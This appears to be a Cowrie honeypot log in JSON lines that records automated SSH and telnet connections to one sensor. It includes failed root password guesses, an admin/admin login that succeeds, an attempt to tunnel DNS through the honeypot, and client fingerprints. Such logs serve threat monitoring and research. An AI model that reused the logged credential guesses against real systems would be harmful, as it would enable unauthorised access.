{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45826,"dst_ip":"10.17.0.5","dst_port":23,"session":"84ebbc6b19d1","protocol":"telnet","message":"New connection: 192.119.13.58:45826 (10.17.0.5:23) [session: 84ebbc6b19d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:44:34.021969Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.119.212.99","src_port":39546,"dst_ip":"10.17.0.5","dst_port":22,"session":"319aad203320","protocol":"ssh","message":"New connection: 45.119.212.99:39546 (10.17.0.5:22) [session: 319aad203320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:07.047136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:07.086105Z","src_ip":"45.119.212.99","session":"319aad203320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:07.416179Z","src_ip":"45.119.212.99","session":"319aad203320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Os3leni*","message":"login attempt [root/Os3leni*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:08.567547Z","src_ip":"45.119.212.99","session":"319aad203320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:09.841159Z","src_ip":"45.119.212.99","session":"319aad203320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35422,"dst_ip":"10.17.0.5","dst_port":22,"session":"5594a8687a39","protocol":"ssh","message":"New connection: 87.251.64.176:35422 (10.17.0.5:22) [session: 5594a8687a39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:23.781532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:23.786953Z","src_ip":"87.251.64.176","session":"5594a8687a39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:23.883764Z","src_ip":"87.251.64.176","session":"5594a8687a39","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:24.172849Z","src_ip":"87.251.64.176","session":"5594a8687a39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:24.272257Z","session":"5594a8687a39","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:24.370310Z","src_ip":"87.251.64.176","session":"5594a8687a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:24.470056Z","src_ip":"87.251.64.176","session":"5594a8687a39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.60834765434265,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:24.630201Z","src_ip":"192.119.13.58","session":"84ebbc6b19d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.170.125","src_port":43802,"dst_ip":"10.17.0.5","dst_port":22,"session":"606751d468a5","protocol":"ssh","message":"New connection: 103.149.170.125:43802 (10.17.0.5:22) [session: 606751d468a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:26.301861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:26.326083Z","src_ip":"103.149.170.125","session":"606751d468a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:26.593690Z","src_ip":"103.149.170.125","session":"606751d468a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:27.398935Z","src_ip":"103.149.170.125","session":"606751d468a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:28.669997Z","src_ip":"103.149.170.125","session":"606751d468a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.190.155","src_port":55288,"dst_ip":"10.17.0.5","dst_port":22,"session":"4eb97e558561","protocol":"ssh","message":"New connection: 157.230.190.155:55288 (10.17.0.5:22) [session: 4eb97e558561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:33.578971Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:33.583232Z","src_ip":"157.230.190.155","session":"4eb97e558561","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:33.587134Z","src_ip":"157.230.190.155","session":"4eb97e558561","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optic","message":"login attempt [root/optic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:33.637675Z","src_ip":"157.230.190.155","session":"4eb97e558561","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:34.649937Z","src_ip":"157.230.190.155","session":"4eb97e558561","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":55154,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e5e77877b60","protocol":"ssh","message":"New connection: 103.75.182.198:55154 (10.17.0.5:22) [session: 7e5e77877b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:44.496626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:44.501371Z","src_ip":"103.75.182.198","session":"7e5e77877b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:44.750751Z","src_ip":"103.75.182.198","session":"7e5e77877b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f010710","message":"login attempt [root/f010710] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:45.786927Z","src_ip":"103.75.182.198","session":"7e5e77877b60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:47.038136Z","src_ip":"103.75.182.198","session":"7e5e77877b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.225.252.182","src_port":35466,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b5f9d83aac","protocol":"ssh","message":"New connection: 80.225.252.182:35466 (10.17.0.5:22) [session: f8b5f9d83aac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:50.008012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:50.030464Z","src_ip":"80.225.252.182","session":"f8b5f9d83aac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:50.223371Z","src_ip":"80.225.252.182","session":"f8b5f9d83aac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111a","message":"login attempt [root/111111a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:51.113682Z","src_ip":"80.225.252.182","session":"f8b5f9d83aac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:45:52.309887Z","src_ip":"80.225.252.182","session":"f8b5f9d83aac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":46292,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b07f927d8f5","protocol":"ssh","message":"New connection: 103.77.242.62:46292 (159.203.135.109:22) [session: 3b07f927d8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:36.311152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:36.316043Z","src_ip":"103.77.242.62","session":"3b07f927d8f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:36.555748Z","src_ip":"103.77.242.62","session":"3b07f927d8f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1323456","message":"login attempt [root/1323456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:37.276262Z","src_ip":"103.77.242.62","session":"3b07f927d8f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:38.521150Z","src_ip":"103.77.242.62","session":"3b07f927d8f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":53836,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3e61cdc0614","protocol":"ssh","message":"New connection: 62.133.63.178:53836 (10.17.0.5:22) [session: b3e61cdc0614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:39.486426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:39.491663Z","src_ip":"62.133.63.178","session":"b3e61cdc0614","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:39.618494Z","src_ip":"62.133.63.178","session":"b3e61cdc0614","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvb","message":"login attempt [root/zxcvb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T07:46:40.008878Z","src_ip":"62.133.63.178","session":"b3e61cdc0614","protocol":"ssh"}
